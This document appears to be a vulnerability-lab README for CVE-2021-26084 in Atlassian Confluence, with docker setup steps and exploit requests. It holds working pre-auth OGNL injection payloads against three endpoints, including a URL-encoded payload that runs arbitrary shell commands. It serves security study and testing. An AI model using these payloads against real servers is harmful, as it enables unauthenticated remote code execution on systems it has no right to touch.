# Atlassian Confluence Webwork Pre-Auth OGNL Injection Leads to RCE (CVE-2021-26084)

[中文版本(Chinese version)](README.zh-cn.md)

Confluence is a web-based corporate wiki developed by Australian software company Atlassian.

An OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.

References

- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- https://github.com/h3v0x/CVE-2021-26084_Confluence

## Vulnerable Environment

Execute following command to start a Confluence Server 7.4.10:

```
docker compose up -d
```

After the environment starts, visit ``http://your-ip:8090`` and you will see the installation guide, select "Trial installation", then you will be asked to fill in the license key. You should apply for a Confluence Server test certificate from Atlassian.

Following [this guide](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396) to complete the installation.

On the database configuration page, fill in the form with database address `db`, database name `confluence`, username `postgres`, password `postgres`.

![](3.png)

## Exploit

There are multiple API endpoints that are affected by this vulnerability.

### /pages/doenterpagevariables.action

This is a pre-auth exploit, executing `233*233`:

```
POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```

![](2.png)

Executing arbitrary commands:

```
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
```

![](1.png)

### /pages/createpage-entervariables.action

This is also a pre-auth exploit:

```
POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```

### /pages/createpage.action

This exploit requires a user permission to create pages:

```
GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close


```